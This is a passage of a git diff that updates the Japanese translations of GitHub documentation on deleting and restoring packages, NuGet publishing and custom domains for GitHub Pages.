-- You restore the package within 30 days of its deletion.
-- The same package namespace is still available and not used for a new package.
+{% data variables.product.prodname_dotcom %}では、以下の場合にパッケージ全体またはパッケージバージョンを復元できます。
+- 削除後30日以内にパッケージを復元する。
+- 同一のパッケージ名前空間が使用可能であり、新しいパッケージで使用されていない。
 
 {% ifversion fpt or ghec or ghes %}
-## Packages API support
+## パッケージAPIのサポート
 
 {% ifversion fpt or ghec %}
 
-You can use the REST API to manage your packages. For more information, see the "[{% data variables.product.prodname_registry %} API](/rest/reference/packages)."
+REST APIを使用してパッケージを管理できます。 詳しい情報については、「[{% data variables.product.prodname_registry %} API](/rest/reference/packages)」を参照してください。
 
 {% endif %}
 
@@ -50,52 +50,49 @@ For packages that inherit their permissions and access from repositories, you ca
 
 {% endif %}
 
-## Required permissions to delete or restore a package
+## パッケージの削除や復元に必要な権限
 
-For packages that inherit their access permissions from repositories, you can delete a package if you have admin permissions to the repository.
+リポジトリからアクセス権限を継承しているパッケージの場合、そのリポジトリに対する管理者権限がある場合はパッケージを削除できます。
 
-Repository-scoped packages on {% data variables.product.prodname_registry %} include these packages:
+{% data variables.product.prodname_registry %}上でリポジトリのスコープが付いたパッケージには、以下が挙げられます。
 - npm
 - RubyGems
 - maven
 - Gradle
 - NuGet
-{% ifversion not fpt or ghec %}- Docker images at `docker.pkg.github.com/OWNER/REPOSITORY/IMAGE-NAME`{% endif %}
+{% ifversion not fpt or ghec %}-`docker.pkg.github.com/OWNER/REPOSITORY/IMAGE-NAME`にあるDockerイメージ{% endif %}
 
 {% ifversion fpt or ghec %}
 
-To delete a package that has granular permissions separate from a repository, such as container images stored at `https://ghcr.io/OWNER/PACKAGE-NAME`, you must have admin access to the package.
-For more information, see "[About permissions for {% data variables.product.prodname_registry %}](/packages/learn-github-packages/about-permissions-for-github-packages)."
+`https://ghcr.io/OWNER/PACKAGE-NAME`に保存されたコンテナイメージなど、リポジトリとは別に詳細な権限を持つパッケージを削除する場合は、そのパッケージに対するアクセス権限が必要です。 詳しい情報については「[{% data variables.product.prodname_registry %}の権限について](/packages/learn-github-packages/about-permissions-for-github-packages)」を参照してください。
 
 {% endif %}
 
-## Deleting a package version
+## パッケージのバージョンを削除する
 
-### Deleting a version of a repository-scoped package on {% data variables.product.prodname_dotcom %}
+### {% data variables.product.prodname_dotcom %}上でリポジトリのスコープが付いたバージョンを削除する
 
-To delete a version of a repository-scoped package, you must have admin permissions to the repository that owns the package. For more information, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+リポジトリのスコープが付いたパッケージのバージョンを削除するには、パッケージを所有するリポジトリの管理者権限が必要です。 詳しい情報については、「[必要な権限](#required-permissions-to-delete-or-restore-a-package)」を参照してください。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.package_registry.packages-from-code-tab %}
 {% data reusables.package_registry.package-settings-option %}
-5. On the left, click **Manage versions**.
-5. To the right of the version you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Delete version**.
-  ![Delete package version button](/assets/images/help/package-registry/delete-container-package-version.png)
-6. To confirm deletion, type the package name and click **I understand the consequences, delete this version**.
-  ![Confirm package deletion button](/assets/images/help/package-registry/package-version-deletion-confirmation.png)
+5. 左にある [**Manage versions**] をクリックします。
+5. 削除するバージョンの右側で、{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} をクリックした後、[**Delete version**] を選択します。 ![パッケージバージョンの削除ボタン](/assets/images/help/package-registry/delete-container-package-version.png)
+6. 削除を確認するために、パッケージ名を入力して**I understand the consequences, delete this version（生じることを理解したので、このバージョンを削除してください）**をクリックしてください。 ![パッケージの削除の確認ボタン](/assets/images/help/package-registry/package-version-deletion-confirmation.png)
 
 {% ifversion fpt or ghec or ghes %}
-### Deleting a version of a repository-scoped package with GraphQL
+### GraphQLでリポジトリのスコープが付いたパッケージのバージョンを削除する
 
-For packages that inherit their permissions and access from repositories, you can use the GraphQL to delete a specific package version.
+リポジトリから権限とアクセスを継承しているパッケージの場合、GraphQLを使用して特定のパッケージバージョンを削除できます。
 
 {% ifversion fpt or ghec %}
-For containers or Docker images at `ghcr.io`, GraphQL is not supported but you can use the REST API. For more information, see the "[{% data variables.product.prodname_registry %} API](/rest/reference/packages)."
+For containers or Docker images at `ghcr.io`, GraphQL is not supported but you can use the REST API. 詳しい情報については、「[{% data variables.product.prodname_registry %} API](/rest/reference/packages)」を参照してください。
 {% endif %}
 
-Use the `deletePackageVersion` mutation in the GraphQL API. You must use a token with the `read:packages`, `delete:packages`, and `repo` scopes. For more information about tokens, see "[About {% data variables.product.prodname_registry %}](/packages/publishing-and-managing-packages/about-github-packages#authenticating-to-github-packages)."
+GraphQL APIの`deletePackageVersion`ミューテーションを使ってください。 `read:packages`、`delete:packages`、`repo`スコープを持つトークンを使わなければなりません。 トークンに関する詳しい情報については「[{% data variables.product.prodname_registry %}について](/packages/publishing-and-managing-packages/about-github-packages#authenticating-to-github-packages)」を参照してください。
 
-The following example demonstrates how to delete a package version, using a `packageVersionId` of `MDIyOlJlZ2lzdHJ5UGFja2FnZVZlcnNpb243MTExNg`.
+以下の例では、`MDIyOlJlZ2lzdHJ5UGFja2FnZVZlcnNpb243MTExNg`の`packageVersionId`を使用して、パッケージバージョンを削除する方法を示します。
 
 ```shell
 curl -X POST \
@@ -105,98 +102,86 @@ curl -X POST \
 HOSTNAME/graphql
 ```
 
-To find all of the private packages you have published to {% data variables.product.prodname_registry %}, along with the version IDs for the packages, you can use the `packages` connection through the `repository` object. You will need a token with the `read:packages` and `repo` scopes. For more information, see the [`packages`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/objects#repository) connection or the [`PackageOwner`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/interfaces#packageowner) interface.
+To find all of the private packages you have published to {% data variables.product.prodname_registry %}, along with the version IDs for the packages, you can use the `packages` connection through the `repository` object. `read:packages`及び`repo`のスコープを持つトークンが必要です。 For more information, see the [`packages`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/objects#repository) connection or the [`PackageOwner`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/interfaces#packageowner) interface.
 
 For more information about the `deletePackageVersion` mutation, see "[`deletePackageVersion`]({% ifversion ghec %}/free-pro-team@latest{% endif %}/graphql/reference/mutations#deletepackageversion)."
 
-You cannot directly delete an entire package using GraphQL, but if you delete every version of a package, the package will no longer show on {% data variables.product.product_name %}.
+GraphQLを使用してパッケージ全体を直接削除することはできませんが、パッケージのすべてのバージョンを削除すれば、パッケージは{% data variables.product.product_name %}上に表示されなくなります。
 
 {% endif %}
 
 {% ifversion fpt or ghec %}
-### Deleting a version of a user-scoped package on {% data variables.product.prodname_dotcom %}
+### {% data variables.product.prodname_dotcom %}上でユーザのスコープが付いたパッケージのバージョンを削除する
 
-To delete a specific version of a user-scoped package on {% data variables.product.prodname_dotcom %}, such as for a Docker image at `ghcr.io`, use these steps. To delete an entire package, see "[Deleting an entire user-scoped package on {% data variables.product.prodname_dotcom %}](#deleting-an-entire-user-scoped-package-on-github)."
+`ghcr.io`にあるDockerイメージなどで、 {% data variables.product.prodname_dotcom %}上のユーザのスコープが付いたパッケージの、特定のバージョンを削除するには、以下のステップに従ってください。 パッケージ全体を削除するには、「[{% data variables.product.prodname_dotcom %}上でユーザのスコープが付いたパッケージ全体を削除する](#deleting-an-entire-user-scoped-package-on-github)」を参照してください。
 
-To review who can delete a package version, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+パッケージのバージョンを削除できるユーザを確認するには、「[必要な権限](#required-permissions-to-delete-or-restore-a-package)」を参照してください。
 
 {% data reusables.package_registry.package-settings-from-user-level %}
 {% data reusables.package_registry.package-settings-option %}
-5. On the left, click **Manage versions**.
-5. To the right of the version you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Delete version**.
-  ![Delete package version button](/assets/images/help/package-registry/delete-container-package-version.png)
-6. To confirm deletion, type the package name and click **I understand the consequences, delete this version**.
-  ![Confirm package deletion button](/assets/images/help/package-registry/confirm-container-package-version-deletion.png)
+5. 左にある [**Manage versions**] をクリックします。
+5. 削除するバージョンの右側で、{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} をクリックした後、[**Delete version**] を選択します。 ![パッケージバージョンの削除ボタン](/assets/images/help/package-registry/delete-container-package-version.png)
+6. 削除を確認するために、パッケージ名を入力して**I understand the consequences, delete this version（生じることを理解したので、このバージョンを削除してください）**をクリックしてください。 ![パッケージの削除の確認ボタン](/assets/images/help/package-registry/confirm-container-package-version-deletion.png)
 
 ### Deleting a version of an organization-scoped package on {% data variables.product.prodname_dotcom %}
 
-To delete a specific version of an organization-scoped package on {% data variables.product.prodname_dotcom %}, such as for a Docker image at `ghcr.io`, use these steps.
-To delete an entire package, see "[Deleting an entire organization-scoped package on {% data variables.product.prodname_dotcom %}](#deleting-an-entire-organization-scoped-package-on-github)."
+`ghcr.io`にあるDockerイメージなどで、{% data variables.product.prodname_dotcom %}上のOrganizationのスコープが付いたパッケージの、特定のバージョンを削除するには、以下のステップに従ってください。 パッケージ全体を削除するには、「[{% data variables.product.prodname_dotcom %}上でOrganizationのスコープが付いたパッケージ全体を削除する](#deleting-an-entire-organization-scoped-package-on-github)」を参照してください。
 
 To review who can delete a package version, see "[Required permissions to delete or restore a package](#required-permissions-to-delete-or-restore-a-package)."
 
 {% data reusables.package_registry.package-settings-from-org-level %}
 {% data reusables.package_registry.package-settings-option %}
-5. On the left, click **Manage versions**.
-5. To the right of the version you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} and select **Delete version**.
-  ![Delete package version button](/assets/images/help/package-registry/delete-container-package-version.png)
-6. To confirm deletion, type the package name and click **I understand the consequences, delete this version**.
-  ![Confirm package version deletion button](/assets/images/help/package-registry/confirm-container-package-version-deletion.png)
+5. 左にある [**Manage versions**] をクリックします。
+5. 削除するバージョンの右側で、{% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} をクリックした後、[**Delete version**] を選択します。 ![パッケージバージョンの削除ボタン](/assets/images/help/package-registry/delete-container-package-version.png)
+6. 削除を確認するために、パッケージ名を入力して**I understand the consequences, delete this version（生じることを理解したので、このバージョンを削除してください）**をクリックしてください。 ![パッケージバージョン削除の確認ボタン](/assets/images/help/package-registry/confirm-container-package-version-deletion.png)
 {% endif %}
 
-## Deleting an entire package
+## パッケージ全体を削除する
 
-### Deleting an entire repository-scoped package on {% data variables.product.prodname_dotcom %}
+### {% data variables.product.prodname_dotcom %}上でリポジトリのスコープが付いたパッケージ全体を削除する
 
-To delete an entire repository-scoped package, you must have admin permissions to the repository that owns the package. For more information, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+リポジトリのスコープが付いたパッケージ全体を削除するには、パッケージを所有するリポジトリの管理者権限が必要です。 詳しい情報については、「[必要な権限](#required-permissions-to-delete-or-restore-a-package)」を参照してください。
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.package_registry.packages-from-code-tab %}
 {% data reusables.package_registry.package-settings-option %}
-4. Under "Danger Zone", click **Delete this package**.
-5. To confirm, review the confirmation message, enter your package name, and click **I understand, delete this package.**
-  ![Confirm package deletion button](/assets/images/help/package-registry/package-version-deletion-confirmation.png)
+4. [Danger Zone] の下にある [**Delete this package**] をクリックします。
+5. 確認メッセージを読み、パッケージ名を入力してから、[**I understand, delete this package.**] をクリックします。 ![パッケージの削除の確認ボタン](/assets/images/help/package-registry/package-version-deletion-confirmation.png)
 
 {% ifversion fpt or ghec %}
-### Deleting an entire user-scoped package on {% data variables.product.prodname_dotcom %}
+### {% data variables.product.prodname_dotcom %}上でユーザのスコープが付いたパッケージ全体を削除する
 
-To review who can delete a package, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+パッケージを削除できるユーザを確認するには、「[必要な権限](#required-permissions-to-delete-or-restore-a-package)」を参照してください。
 
 {% data reusables.package_registry.package-settings-from-user-level %}
 {% data reusables.package_registry.package-settings-option %}
-5. On the left, click **Options**.
-  !["Options" menu option](/assets/images/help/package-registry/options-for-container-settings.png)
-6. Under "Danger zone", click **Delete this package**.
-  ![Delete package version button](/assets/images/help/package-registry/delete-container-package-button.png)
-6. To confirm deletion, type the package name and click **I understand the consequences, delete this package**.
-  ![Confirm package version deletion button](/assets/images/help/package-registry/confirm-container-package-deletion.png)
+5. 左側にある [**Options**] をクリックします。 ![[Options] メニューオプション](/assets/images/help/package-registry/options-for-container-settings.png)
+6. [Danger zone] の下にある [**Delete this package**] をクリックします。 ![パッケージバージョンの削除ボタン](/assets/images/help/package-registry/delete-container-package-button.png)
+6. 削除を確認するために、パッケージ名を入力して [**I understand the consequences, delete this package**] をクリックします。 ![パッケージバージョン削除の確認ボタン](/assets/images/help/package-registry/confirm-container-package-deletion.png)
 
-### Deleting an entire organization-scoped package on {% data variables.product.prodname_dotcom %}
+### {% data variables.product.prodname_dotcom %}上でOrganizationのスコープが付いたパッケージ全体を削除する
 
-To review who can delete a package, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+パッケージを削除できるユーザを確認するには、「[必要な権限](#required-permissions-to-delete-or-restore-a-package)」を参照してください。
 
 {% data reusables.package_registry.package-settings-from-org-level %}
 {% data reusables.package_registry.package-settings-option %}
-5. On the left, click **Options**.
-  !["Options" menu option](/assets/images/help/package-registry/options-for-container-settings.png)
-6. Under "Danger zone", click **Delete this package**.
-  ![Delete package button](/assets/images/help/package-registry/delete-container-package-button.png)
-6. To confirm deletion, type the package name and click **I understand the consequences, delete this package**.
-  ![Confirm package deletion button](/assets/images/help/package-registry/confirm-container-package-deletion.png)
+5. 左側にある [**Options**] をクリックします。 ![[Options] メニューオプション](/assets/images/help/package-registry/options-for-container-settings.png)
+6. [Danger zone] の下にある [**Delete this package**] をクリックします。 ![パッケージの削除ボタン](/assets/images/help/package-registry/delete-container-package-button.png)
+6. 削除を確認するために、パッケージ名を入力して [**I understand the consequences, delete this package**] をクリックします。 ![パッケージの削除の確認ボタン](/assets/images/help/package-registry/confirm-container-package-deletion.png)
 {% endif %}
 
-## Restoring packages
+## パッケージを復元する
 
-You can restore a deleted package or version if:
-- You restore the package within 30 days of its deletion.
-- The same package namespace and version is still available and not reused for a new package.
+以下の場合、削除したパッケージまたはバージョンを復元できます。
+- 削除後30日以内にパッケージを復元する。
+- 同一のパッケージ名前空間がまだ使用可能であり、新しいパッケージで再使用されていない。
 
-For example, if you have a deleted rubygem package named `octo-package` that was scoped to the repo `octo-repo-owner/octo-repo`, then you can only restore the package if the package namespace `rubygem.pkg.github.com/octo-repo-owner/octo-repo/octo-package` is still available, and 30 days have not yet passed.
+たとえば、リポジトリ`octo-repo-owner/octo-repo`のスコープが付いていた、`octo-package`という名前のrubygemパッケージを削除した場合、パッケージ名前空間`rubygem.pkg.github.com/octo-repo-owner/octo-repo/octo-package` がまだ使用可能で、かつ30日間が経過していない場合にのみ、そのパッケージを復元できます。
 
 {% ifversion fpt or ghec %}
 To restore a deleted package, you must also meet one of these permission requirements:
   - For repository-scoped packages: You have admin permissions to the repository that owns the deleted package.{% ifversion fpt or ghec %}
-  - For user-account scoped packages: Your user account owns the deleted package.
+  - ユーザアカウントのスコープが付いたパッケージ: ユーザアカウントが削除したパッケージを所有している。
   - For organization-scoped packages: You have admin permissions to the deleted package in the organization that owns the package.{% endif %}
 {% endif %}
 
@@ -204,49 +189,42 @@ To restore a deleted package, you must also meet one of these permission require
 To delete a package, you must also have admin permissions to the repository that owns the deleted package.
 {% endif %}
 
-For more information, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+詳しい情報については、「[必要な権限](#required-permissions-to-delete-or-restore-a-package)」を参照してください。
 
-Once the package is restored, the package will use the same namespace it did before. If the same package namespace is not available, you will not be able to restore your package. In this scenario, to restore the deleted package, you must delete the new package that uses the deleted package's namespace first.
+パッケージが復元されると、そのパッケージは以前使用していたものと同じ名前空間を使用します。 同一のパッケージ名前空間が使用可能でない場合、パッケージを復元できません。 この場合、削除したパッケージを復元するには、まず削除したパッケージの名前空間を使用する新しいパッケージを削除する必要があります。
 
-### Restoring a package in an organization
+### Organization内のパッケージを復元する
 
  You can restore a deleted package through your organization account settings, as long as the package was in a repository owned by the organizaton{% ifversion fpt or ghec %} or had granular permissions and was scoped to your organization account{% endif %}.
 
-To review who can restore a package in an organization, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+Organizationでパッケージを復元できるユーザを確認するには、「[必要な権限](#required-permissions-to-delete-or-restore-a-package)」を参照してください。
 
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.org_settings %}
-3. On the left, click **Packages**.
-4. Under "Deleted Packages", next to the package you want to restore, click **Restore**.
-  ![Restore button](/assets/images/help/package-registry/restore-option-for-deleted-package-in-an-org.png)
-5. To confirm, type the name of the package and click **I understand the consequences, restore this package**.
-  ![Restore package confirmation button](/assets/images/help/package-registry/type-package-name-and-restore-button.png)
+3. 左側にある [**Packages**] をクリックします。
+4. [Deleted Packages] の、復元するパッケージの隣にある [**Restore**] をクリックします。 ![リストアボタン](/assets/images/help/package-registry/restore-option-for-deleted-package-in-an-org.png)
+5. 確認のため、パッケージ名を入力して [**I understand the consequences, restore this package**] をクリックします。 ![パッケージ復元の確認ボタン](/assets/images/help/package-registry/type-package-name-and-restore-button.png)
 
 {% ifversion fpt or ghec %}
 
-### Restoring a user-account scoped package
+### ユーザアカウントのスコープが付いたパッケージを復元する
 
-You can restore a deleted package through your user account settings, if the package was in one of your repositories or scoped to your user account. For more information, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+パッケージが所有するリポジトリにあったか、ユーザアカウントのスコープが付いていた場合、削除されたパッケージをユーザアカウント設定から復元できます。 詳しい情報については、「[必要な権限](#required-permissions-to-delete-or-restore-a-package)」を参照してください。
 
 {% data reusables.user_settings.access_settings %}
-2. On the left, click **Packages**.
-4. Under "Deleted Packages", next to the package you want to restore, click **Restore**.
-  ![Restore button](/assets/images/help/package-registry/restore-option-for-deleted-package-in-an-org.png)
-5. To confirm, type the name of the package and click **I understand the consequences, restore this package**.
-  ![Restore package confirmation button](/assets/images/help/package-registry/type-package-name-and-restore-button.png)
+2. 左側にある [**Packages**] をクリックします。
+4. [Deleted Packages] の、復元するパッケージの隣にある [**Restore**] をクリックします。 ![リストアボタン](/assets/images/help/package-registry/restore-option-for-deleted-package-in-an-org.png)
+5. 確認のため、パッケージ名を入力して [**I understand the consequences, restore this package**] をクリックします。 ![パッケージ復元の確認ボタン](/assets/images/help/package-registry/type-package-name-and-restore-button.png)
 
 {% endif %}
 
-### Restoring a package version
+### パッケージのバージョンを復元する
 
-You can restore a package version from your package's landing page. To review who can restore a package, see "[Required permissions](#required-permissions-to-delete-or-restore-a-package)."
+パッケージのランディングページから、パッケージのバージョンを復元できます。 パッケージを復元できるユーザを確認するには、「[必要な権限](#required-permissions-to-delete-or-restore-a-package)」を参照してください。
 
-1. Navigate to your package's landing page.
-2. On the right, click **Package settings**.
-2. On the left, click **Manage versions**.
-3. On the top right, use the "Versions" drop-down menu and select **Deleted**.
-  ![Versions drop-down menu showing the deleted option](/assets/images/help/package-registry/versions-drop-down-menu.png)
-4. Next to the deleted package version you want to restore, click **Restore**.
-  ![Restore option next to a deleted package version](/assets/images/help/package-registry/restore-package-version.png)
-5. To confirm, click **I understand the consequences, restore this version.**
-  ![Confirm package version restoration](/assets/images/help/package-registry/confirm-package-version-restoration.png)
+1. パッケージのランディングページに移動します。
+2. 右側にある [**Package settings**] をクリックします。
+2. 左にある [**Manage versions**] をクリックします。
+3. 左上の [Versions] ドロップダウンメニューで、[**Deleted**] を選択します。 ![削除されたバージョンを表示するドロップダウンメニュー](/assets/images/help/package-registry/versions-drop-down-menu.png)
+4. 復元する削除されたパッケージの隣の、[**Restore**] をクリックします。 ![削除されたパッケージのバージョンの隣にある復元オプション](/assets/images/help/package-registry/restore-package-version.png)
+5. 確認のため、[**I understand the consequences, restore this version.**] をクリックします。 ![パッケージバージョン復元の確認](/assets/images/help/package-registry/confirm-package-version-restoration.png)
diff --git a/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md b/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md
index 24357fc223..ac87e01173 100644
--- a/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md
+++ b/translations/ja-JP/content/packages/working-with-a-github-packages-registry/working-with-the-nuget-registry.md
@@ -231,6 +231,8 @@ Using packages from {% data variables.product.prodname_dotcom %} in your project
 
 Your NuGet package may fail to push if the `RepositoryUrl` in *.csproj* is not set to the expected repository .
 
+If you're using a nuspec file, ensure that it has a `repository` element with the required `type` and `url` attributes.
+
 ## Further reading
 
 - "{% ifversion fpt or ghes > 3.0 or ghec or ghae %}[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package){% elsif ghes < 3.1 %}[Deleting a package](/packages/learn-github-packages/deleting-a-package){% endif %}"
diff --git a/translations/ja-JP/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md b/translations/ja-JP/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md
index 8b423a877c..6ace451781 100644
--- a/translations/ja-JP/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md
+++ b/translations/ja-JP/content/pages/configuring-a-custom-domain-for-your-github-pages-site/about-custom-domains-and-github-pages.md
@@ -1,6 +1,6 @@
 ---
-title: About custom domains and GitHub Pages
-intro: '{% data variables.product.prodname_pages %} supports using custom domains, or changing the root of your site''s URL from the default, like `octocat.github.io`, to any domain you own.'
+title: カスタムドメインとGitHub Pagesについて
+intro: '{% data variables.product.prodname_pages %} では、カスタムドメインを使用する、つまりサイトの URL を ''octocat.github.io'' などのデフォルトからあなたが所有するドメインに変更することができます。'
 redirect_from:
   - /articles/about-custom-domains-for-github-pages-sites
   - /articles/about-supported-custom-domains
@@ -13,58 +13,58 @@ versions:
   ghec: '*'
 topics:
   - Pages
-shortTitle: Custom domains in GitHub Pages
+shortTitle: GitHub Pagesにおけるカスタムドメイン
 ---
 
-## Supported custom domains
+## サポートされているカスタムドメイン
 
-{% data variables.product.prodname_pages %} works with two types of domains: subdomains and apex domains. For a list of unsupported custom domains, see "[Troubleshooting custom domains and {% data variables.product.prodname_pages %}](/articles/troubleshooting-custom-domains-and-github-pages/#custom-domain-names-that-are-unsupported)."
+{% data variables.product.prodname_pages %} では、サブドメインとApexドメインの 2 種類のドメインを使用できます。 サポートされていないカスタムサブドメインのリストは、「[カスタムドメインと {% data variables.product.prodname_pages %} のトラブルシューティング](/articles/troubleshooting-custom-domains-and-github-pages/#custom-domain-names-that-are-unsupported)」を参照してください。
 
-| Supported custom domain type | Example |
-|---|---|
-| `www` subdomain | `www.example.com` |
-| Custom subdomain | `blog.example.com` |
-| Apex domain        | `example.com` |
+| サポートされているカスタムドメインの種類 | サンプル               |
+| -------------------- | ------------------ |
+| `www` サブドメイン         | `www.example.com`  |
+| カスタムサブドメイン           | `blog.example.com` |
+| Apex ドメイン            | `example.com`      |
 
-You can set up either or both of apex and `www` subdomain configurations for your site. For more information on apex domains, see "[Using an apex domain for your {% data variables.product.prodname_pages %} site](#using-an-apex-domain-for-your-github-pages-site)."
+サイトには、Apex及び`www`サブドメインのいずれか、あるいは両方の設定をセットアップできます。 Apexドメインに関する詳しい情報については「[{% data variables.product.prodname_pages %}サイトでのApexドメインの利用](#using-an-apex-domain-for-your-github-pages-site)」を参照してください。
 
-We recommend always using a `www` subdomain, even if you also use an apex domain. When you create a new site with an apex domain, we automatically attempt to secure the `www` subdomain for use when serving your site's content. If you configure a `www` subdomain, we automatically attempt to secure the associated apex domain. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
+Apex ドメインを使用している場合でも、`www` サブドメインを使用することをおすすめします。 Apexドメインで新しいサイトを作成する場合、サイトのコンテンツを提供する際に`www`サブドメインも利用できるように保護が自動的に試みられます。 `www`サブドメインを設定すれば、関連するApexドメインの保護が自動的に試みられます。 詳しい情報については、「[{% data variables.product.prodname_pages %} サイト用のカスタムドメインを管理する](/articles/managing-a-custom-domain-for-your-github-pages-site)」を参照してください。
 
-After you configure a custom domain for a user or organization site, the custom domain will replace the `<user>.github.io` or `<organization>.github.io` portion of the URL for any project sites owned by the account that do not have a custom domain configured. For example, if the custom domain for your user site is `www.octocat.com`, and you have a project site with no custom domain configured that is published from a repository called `octo-project`, the {% data variables.product.prodname_pages %} site for that repository will be available at `www.octocat.com/octo-project`.
+ユーザまたは Organization サイトのカスタムドメインを設定すると、カスタムドメインを設定していないアカウントが所有するプロジェクトサイトの URL で、`<user>.github.io` または `<organization>.github.io` の部分がカスタムドメインによって置き換えられます。 たとえば、サイトのカスタムドメインが `www.octocat.com` で、`octo-project` というリポジトリから公開されているプロジェクトサイトにまだカスタムドメインを設定していない場合、そのリポジトリの {% data variables.product.prodname_pages %} サイトは、`www.octocat.com/octo-project` で公開されます。
 
-## Using a subdomain for your {% data variables.product.prodname_pages %} site
+## あなたの {% data variables.product.prodname_pages %} サイトにサブドメインを使用する
 
-A subdomain is the part of a URL before the root domain. You can configure your subdomain as `www` or as a distinct section of your site, like `blog.example.com`.
+サブドメインは、URL のうちルートドメインの前の部分です。 サブドメインは、`www` に設定することも、あるいは `blog.example.com` のようにサイトの独自セクションに設定することもできます。
 
-Subdomains are configured with a `CNAME` record through your DNS provider. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site#configuring-a-subdomain)."
+サブドメインは、DNS プロバイダを通じて `CNAME` レコードで設定されます。 詳しい情報については、「[{% data variables.product.prodname_pages %} サイト用のカスタムドメインを管理する](/articles/managing-a-custom-domain-for-your-github-pages-site#configuring-a-subdomain)」を参照してください。
 
-### `www` subdomains
+### `www` サブドメイン
 
-A `www` subdomain is the most commonly used type of subdomain. For example, `www.example.com` includes a `www` subdomain.
+サブドメインの種類として最もよく使われているのは、`www` サブドメインです。 たとえば、`www.example.com` には `www` サブドメインが含まれています。
 
-`www` subdomains are the most stable type of custom domain because `www` subdomains are not affected by changes to the IP addresses of {% data variables.product.product_name %}'s servers.
+`www` サブドメインは、カスタムドメインとして最も安定的です。{% data variables.product.product_name %} のサーバの IP アドレスが変更されても、`www` サブドメインは影響を受けないからです。
 
-### Custom subdomains
+### カスタムサブドメイン
 
-A custom subdomain is a type of subdomain that doesn't use the standard `www` variant. Custom subdomains are mostly used when you want two distinct sections of your site. For example, you can create a site called `blog.example.com` and customize that section independently from `www.example.com`.
+カスタムサブドメインは、標準の`www`形式を使わない種類のサブドメインです。 カスタムサブドメインは、サイトに 2 つの独自セクションを作成したい場合に最もよく使われます。 たとえば、`blog.example.com` というサイトを作成し、`www.example.com` から独自のセクションをカスタマイズできます。
 
-## Using an apex domain for your {% data variables.product.prodname_pages %} site
+## あなたの {% data variables.product.prodname_pages %} サイトに Apex ドメインを使用する
 
-An apex domain is a custom domain that does not contain a subdomain, such as `example.com`. Apex domains are also known as base, bare, naked, root apex, or zone apex domains.
+Apex ドメインは、`example.com` といったようにサブドメインを含まないカスタムドメインです。 Apex ドメインは、ベースドメイン、ベアドメイン、裸ドメイン、ルート Apex ドメイン、ゾーン Apex ドメインなどとも呼ばれます。
 
-An apex domain is configured with an `A`, `ALIAS`, or `ANAME` record through your DNS provider. For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site#configuring-an-apex-domain)."
+Apex ドメインは、DNS プロバイダを通じて、`A`、`ALIAS`、`ANAME` レコードで設定されます。 詳しい情報については、「[{% data variables.product.prodname_pages %} サイト用のカスタムドメインを管理する](/articles/managing-a-custom-domain-for-your-github-pages-site#configuring-an-apex-domain)」を参照してください。
 
-{% data reusables.pages.www-and-apex-domain-recommendation %} For more information, see "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site/#configuring-a-subdomain)."
+{% data reusables.pages.www-and-apex-domain-recommendation %} 詳しい情報については、「[{% data variables.product.prodname_pages %} サイト用のカスタムドメインを管理する](/github/working-with-github-pages/managing-a-custom-domain-for-your-github-pages-site/#configuring-a-subdomain)」を参照してください。
 
 ## Securing the custom domain for your {% data variables.product.prodname_pages %} site
 
 {% data reusables.pages.secure-your-domain %} For more information, see "[Verifying your custom domain for {% data variables.product.prodname_pages %}](/pages/configuring-a-custom-domain-for-your-github-pages-site/verifying-your-custom-domain-for-github-pages)" and "[Managing a custom domain for your {% data variables.product.prodname_pages %} site](/articles/managing-a-custom-domain-for-your-github-pages-site)."
 
-There are a couple of reasons your site might be automatically disabled.
+サイトが自動的に無効化される理由は、いくつかあります。
 
-- If you downgrade from {% data variables.product.prodname_pro %} to {% data variables.product.prodname_free_user %}, any {% data variables.product.prodname_pages %} sites that are currently published from private repositories in your account will be unpublished. For more information, see "[Downgrading your {% data variables.product.prodname_dotcom %} billing plan](/articles/downgrading-your-github-billing-plan)."
-- If you transfer a private repository to a personal account that is using {% data variables.product.prodname_free_user %}, the repository will lose access to the {% data variables.product.prodname_pages %} feature, and the currently published {% data variables.product.prodname_pages %} site will be unpublished. For more information, see "[Transferring a repository](/articles/transferring-a-repository)."
